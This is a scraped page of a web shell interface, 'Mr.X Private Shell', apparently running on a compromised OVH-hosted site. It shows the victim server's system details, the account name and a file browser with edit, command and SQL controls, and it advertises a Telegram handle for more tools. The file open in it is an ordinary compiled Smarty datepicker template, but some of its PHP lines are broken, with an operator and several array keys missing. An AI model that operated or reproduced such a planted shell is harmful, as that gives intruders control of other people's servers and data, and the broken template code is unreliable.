Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/////booked/tpl_c      ( Reset | Go to )
File Name: a32a0af2d213f3d5d45397432a7ee3eb84cfb228.file.DatePickerSetup.tpl.php
Edit
<?php /* Smarty version Smarty-3.1.16, created on 2014-07-30 17:07:27
         compiled from "/home/villadal/www/booked/tpl/Controls/DatePickerSetup.tpl" */ 
?>
<?php 
/*%%SmartyHeaderCode:14362294053d90a2f623742-34621688%%*/if(!defined('SMARTY_DIR')) exit('no direct access allowed');
$_valid $_smarty_tpl->decodeProperties(array (
  
'file_dependency' => 
  array (
    
'a32a0af2d213f3d5d45397432a7ee3eb84cfb228' => 
    array (
      
=> '/home/villadal/www/booked/tpl/Controls/DatePickerSetup.tpl',
      
=> 1406729966,
      
=> 'file',
    ),
  ),
  
'nocache_hash' => '14362294053d90a2f623742-34621688',
  
'function' => 
  array (
  ),
  
'variables' => 
  array (
    
'ControlId' => 0,
    
'NumberOfMonths' => 0,
    
'ShowButtonPanel' => 0,
    
'OnSelect' => 0,
    
'DayNames' => 0,
    
'DayNamesShort' => 0,
    
'DayNamesMin' => 0,
    
'DateFormat' => 0,
    
'FirstDay' => 0,
    
'MonthNames' => 0,
    
'MonthNamesShort' => 0,
    
'AltId' => 0,
    
'AltFormat' => 0,
  ),
  
'has_nocache_code' => false,
  
'version' => 'Smarty-3.1.16',
  
'unifunc' => 'content_53d90a2f6f12b6_66566271',
),
false); /*/%%SmartyHeaderCode%%*/?>
<?php 
if ($_valid && !is_callable('content_53d90a2f6f12b6_66566271')) {function content_53d90a2f6f12b6_66566271($_smarty_tpl) {?>
<script type="text/javascript">
$(function(){
  $("#<?php echo $_smarty_tpl->tpl_vars['ControlId']->value;?>
").datepicker({
         numberOfMonths: <?php echo $_smarty_tpl->tpl_vars['NumberOfMonths']->value;?>
,
         showButtonPanel: <?php echo $_smarty_tpl->tpl_vars['ShowButtonPanel']->value;?>
,
         onSelect: <?php echo $_smarty_tpl->tpl_vars['OnSelect']->value;?>
,
         dayNames: <?php echo $_smarty_tpl->tpl_vars['DayNames']->value;?>
,
         dayNamesShort: <?php echo $_smarty_tpl->tpl_vars['DayNamesShort']->value;?>
,
         dayNamesMin: <?php echo $_smarty_tpl->tpl_vars['DayNamesMin']->value;?>
,
         dateFormat: '<?php echo $_smarty_tpl->tpl_vars['DateFormat']->value;?>
',
         <?php if ($_smarty_tpl->tpl_vars['FirstDay']->value>=0&&$_smarty_tpl->tpl_vars['FirstDay']->value<=6) {?>
              firstDay: <?php echo $_smarty_tpl->tpl_vars['FirstDay']->value;?>
,
         <?php }?>
         monthNames: <?php echo $_smarty_tpl->tpl_vars['MonthNames']->value;?>
,
         monthNamesShort: <?php echo $_smarty_tpl->tpl_vars['MonthNamesShort']->value;?>
,
         currentText: "<?php echo $_smarty_tpl->smarty->registered_plugins[Smarty::PLUGIN_FUNCTION]['translate'][0][0]->SmartyTranslate(array('key'=>'Today'),$_smarty_tpl);?>
"
           <?php if ($_smarty_tpl->tpl_vars['AltId']->value!='') {?>
           ,
              altField: "#<?php echo $_smarty_tpl->tpl_vars['AltId']->value;?>
",
               altFormat: '<?php echo $_smarty_tpl->tpl_vars['AltFormat']->value;?>
'
          <?php }?>
  });

  <?php if ($_smarty_tpl->tpl_vars['AltId']->value!='') {?>
    $("#<?php echo $_smarty_tpl->tpl_vars['ControlId']->value;?>
").change(function() {
         if ($(this).val() == '') {
            $("#<?php echo $_smarty_tpl->tpl_vars['AltId']->value;?>
").val('');
        }
        else{
            var dateVal = $("#<?php echo $_smarty_tpl->tpl_vars['ControlId']->value;?>
").datepicker('getDate');
            var dateString = dateVal.getFullYear() + '-' + ('0' + (dateVal.getMonth()+1)).slice(-2) + '-' + ('0' + dateVal.getDate()).slice(-2);
            $("#<?php echo $_smarty_tpl->tpl_vars['AltId']->value;?>
").val(dateString);
        }
      });
  <?php }?>

});
</script><?php }} ?>

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL